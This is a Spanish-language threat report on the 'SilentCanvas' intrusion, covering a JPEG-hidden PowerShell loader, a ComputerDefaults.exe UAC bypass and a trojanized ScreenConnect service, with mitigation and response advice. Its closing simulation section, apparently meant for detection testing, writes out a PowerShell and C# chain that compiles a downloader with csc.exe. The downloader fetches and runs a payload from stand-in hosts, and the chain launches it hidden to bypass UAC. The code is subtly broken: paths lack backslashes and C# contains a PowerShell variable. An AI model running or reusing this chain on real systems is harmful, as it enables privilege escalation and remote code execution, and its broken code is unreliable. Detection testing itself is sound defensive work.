OPERACIÓN SILENTCANVAS : INTRUSIÓN DE POWERSHELL MULTIFASE BASADA EN JPEG

Resumen

La Operación SilentCanvas es una intrusión sofisticada de múltiples etapas que oculta una carga útil maliciosa de PowerShell dentro de un archivo JPEG llamado sysupdate.jpeg. Esa carga útil recupera y compila un lanzador personalizado, que se construye a través de csc.exe, abusa de ComputerDefaults.exe para realizar un bypass de UAC sin archivos e instala un servicio ConnectWise ScreenConnect troyanizado llamado OneDriveServers para mantener acceso remoto persistente. El malware se comunica a través de canales cifrados dirigidos a legitserver.theworkpc.com a través de los puertos 5443 and 8041. La campaña también muestra un fuerte énfasis en la evasión de defensas, recolección de credenciales y vigilancia encubierta.

Investigación

El informe cubre tanto el análisis estático como dinámico del cargador basado en JPEG, el binario dinámica y compilado uds.exe , y los componentes modificados de ScreenConnect. Los investigadores identificaron múltiples técnicas ofensivas, incluyendo el bypass de AMSI, el abuso de binarios que viven de la tierra, el secuestro del registro, y la derivación de claves personalizadas para la comunicación cifrada. El análisis de infraestructura reveló un mapeo codificado entre legitserver.theworkpc.com y la dirección IP 45.138.16.64. La investigación también expuso un perfil detallado de las víctimas, manipulación de cuentas locales y funcionalidad vinculada al acceso oculto al escritorio.

Mitigación

Los defensores deben aplicar listas blancas estrictas para las herramientas legítimas de monitoreo y gestión remota, y restringir o monitorear de cerca la ejecución de csc.exe, cvtres.exe, y ComputerDefaults.exe. La monitorización también debe centrarse en cambios sospechosos en el registro ms-settings , comportamiento de bypass de AMSI de PowerShell, banderas de creación de procesos ocultos, y creación no autorizada de servicios que involucran el nombre OneDriveServers. Cualquier cuenta que pueda haber sido expuesta debe restablecerse, y los sistemas afectados deben aislarse rápidamente para prevenir más abusos.

Respuesta

Si se detectan indicadores relacionados, el punto final debe ponerse en cuarentena de inmediato, el uds.exe proceso malicioso y la actividad de PowerShell asociada deben terminarse, y el OneDriveServers servicio debe eliminarse del host. Los investigadores deben recopilar artefactos del registro, binarios de servicio y telemetría de red vinculada a la infraestructura de comando y control para una revisión forense más profunda. Todas las credenciales privilegiadas deben rotarse y los defensores deben monitorear patrones de movimiento lateral asociados con las técnicas documentadas en la campaña.

Ejecución de Simulación

Prerequisito: El Control Previo de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

• Narrativa y Comandos de Ataque:

  1. Punto de apoyo inicial: El atacante obtiene una sesión de PowerShell de bajo privilegio en el punto final.
  2. Compilación en vivo: Usando el csc.exe ya disponible, el atacante compila un descargador de C# que obtiene una carga útil de segunda etapa de un servidor C2. La compilación se lanza desde el proceso de PowerShell para satisfacer la condición de padre-hijo.
  3. Bypass de UAC sin archivos: El atacante ejecuta el ejecutable recién construido a través de ComputerDefaults.exe, que solicita en silencio elevación sin mostrar un mensaje de UAC.
  4. Ejecución posterior a la elevación: La carga útil elevada establece un shell reverso de vuelta al adversario.

  # Paso 1 – Preparar fuente dañina de C# (en memoria)
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Paso 2 – Compilar vía csc.exe (padre = PowerShell)
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # Paso 3 – Activar bypass de UAC usando ComputerDefaults.exe (aún hijo de PowerShell)
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Script de Prueba de Regresión: (script autónomo de PowerShell que reproduce los pasos anteriores)

  # -----------------------------------------------------------------
  # Archivo: trigger_csc_uac_bypass.ps1
  # Propósito: Simular la cadena de ataque csc.exe + ComputerDefaults.exe
  # -----------------------------------------------------------------
  
  # Crear fuente de C# maliciosa en el directorio TEMP
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Compilar con csc.exe (este proceso de PowerShell se convierte en el padre)
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # Ejecutar vía ComputerDefaults.exe para realizar un bypass de UAC silencioso
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Comandos de Limpieza:

  # Eliminar artefactos generados
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # Opcionalmente terminar cualquier proceso restante iniciado por la prueba
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force